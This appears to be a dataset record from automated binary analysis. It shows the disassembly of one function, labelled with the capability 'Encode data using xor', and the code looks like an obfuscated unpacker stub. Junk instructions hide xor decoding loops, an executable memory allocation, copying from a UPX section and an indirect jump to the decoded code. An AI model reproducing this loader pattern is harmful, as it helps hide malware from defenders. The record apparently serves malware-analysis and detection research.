Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x7f2f9bde
and ebx, esi
not ebx
inc esi
popal
and esi, esi
mov esi, ebx
mov esi, 0
mov eax, edx
or ebx, ebx
and edi, edi
mov ecx, eax
or edi, edi
mov ebx, 0x2d4574d3
not edi
mov edx, ecx
mov ebx, edi
sub ebx, 0xebfe2863
add ebx, 1
add esi, 1
mov ebx, edi
sub ebx, edi
mov ebx, 0xc416f02b
cmp esi, 0x100f2ba
jne 0xa789c1
sub edi, ebx
sub ebx, 1
add esi, 0x51c73d42
and esi, esi
add esi, 0x8d1ff5c4
mov ecx, 0xa78796
and ebx, edx
add edx, eax
mov esi, 0xa7898a
add eax, 1
sub ebx, 0x653dd062
mov edi, dword [ecx]
sub ebx, 1
or edx, eax
and edi, 0xff
mov eax, ebx
inc eax
xor dword [esi], edi
add eax, 0xb5690594
add eax, eax
add esi, 1
mov eax, edx
inc ebx
add ebx, eax
add ecx, 1
mov eax, ebx
add ebx, 0xeed75094
cmp esi, entry0
jl 0xa78a2d
and edx, edx
or edx, eax
add eax, eax
or eax, eax
and ebx, edx
not eax
inc esi
or ecx, ecx
mov ebx, 0xa7898e
add esi, edx
add edi, 0x7f194958
mov edi, 0x334a8079
mov ebx, dword [ebx]
dec edx
sub esi, 0x5436827f
sub ecx, esi
mov ebx, dword [ebx]
inc edx
sub edi, esi
mov edx, 0xc2c7e1f3
sub esp, 4
mov dword [esp], ebx
sub edi, esi
add edx, ecx
mov ecx, 0x839d4dd8
mov ebx, 0xa7898a
mov edx, 0xd7c1ca34
mov ecx, 0xf961e0e2
mov ebx, dword [ebx]
and edx, esi
or edi, esi
mov ebx, dword [ebx]
inc edx
and edx, edx
dec edi
push 0xa78992
mov edx, 0xafb84251
or esi, edx
and ecx, ecx
call ebx
mov ecx, edi
and edx, edx
mov ebx, dword [esp]
add esp, 4
mov esi, edi
not ecx
push 0xa7899f
or edi, edi
mov edx, 0x775873a5
push eax
add edx, 0xed8fa9bd
not ecx
not edi
call ebx
mov edi, 0x75741911
or edx, esi
and edi, edx
push 0x40
add edi, 0xe16ed6d1
add edx, esi
push 0x3000
add ecx, 0xb819fc8f
not ecx
mov esi, 0x972fac65
push 0x200003ba
mov edi, 0x8c923aa8
add esi, 0xcbbb736b
dec edx
push 0
add edx, edx
add edi, esi
call eax
sub edi, esi
and edi, edx
add ecx, edi
add eax, 0x20000304
dec ecx
not edi
inc esi
mov ebx, 0xbe4c270a
add edx, esi
add edi, 0xd4e2ef1c
mov dword [eax], ebx
add ecx, 0x8cdd3b2c
add esi, 0x3c5a61d6
not edi
mov ebx, dword [eax]
add ecx, edi
inc ecx
and esi, edx
cmp ebx, 0xbe4c270a
je 0xa78b8d
mov ecx, 0
mov dl, byte [ecx]
sub esi, 0x2917fb27
add esi, esi
and edi, ecx
mov ecx, edi
add ecx, 0xb456bbdd
inc esi
add ebx, 0xf024b415
mov edi, section.UPX1
sub esi, 0x216e444e
sub ebx, esi
mov eax, 0xa78795
sub esi, 0x3f02b4d
not esi
or esi, esi
mov edx, 0
and ebx, esi
or ebx, ebx
add esi, esi
mov ecx, 0xa78796
sub ebx, 0xa69050fb
not esi
or ebx, ebx
lea ecx, [edx + ecx]
add esi, ebx
inc ebx
mov ebx, 0x77415241
mov ecx, dword [ecx]
sub esi, 0xe038c89
not esi
sub ebx, 0x9b186700
and ecx, 0xff
mov ebx, 0x24578890
mov ebx, esi
inc edx
add ebx, ebx
inc esi
add ebx, ebx
cmp edx, 0x1f4
jne 0xa78c17
mov edx, 0
add esi, 0x8363ef80
add ebx, 0xbd38987e
mov ebx, 0xdfc481ee
sub esi, 0xe5f67e2c
inc esi
xor dword [edi], ecx
not ebx
mov ebx, esi
add ebx, 0x229f1f70
add edi, 2
mov esi, ebx
not esi
cmp edi, eax
jl 0xa78bcd
sub ebx, 0xfe3731fc
not ebx
and esi, esi
dec ebx
or esi, ebx
mov edi, section.UPX1
not esi
add esi, esi
mov ecx, section.UPX1
or esi, ebx
not esi
mov edx, 0xa78795
dec ebx
or esi, esi
and ebx, esi
mov eax, 0
and esi, esi
add esi, esi
mov esi, 0x979fda7a
mov al, byte [ecx]
inc ebx
sub ebx, esi
mov byte [edi], al
sub esi, ebx
add esi, 0xc2177875
not esi
inc edi
and esi, ebx
mov ebx, esi
not esi
add ecx, 2
mov esi, ebx
add ebx, 1
or esi, ebx
cmp ecx, edx
jle 0xa78c84
inc esi
add ebx, esi
or ebx, esi
mov esi, ebx
sub esi, 0x873323c3
inc esi
push 0x8dc6a0
not ebx
not esi
ret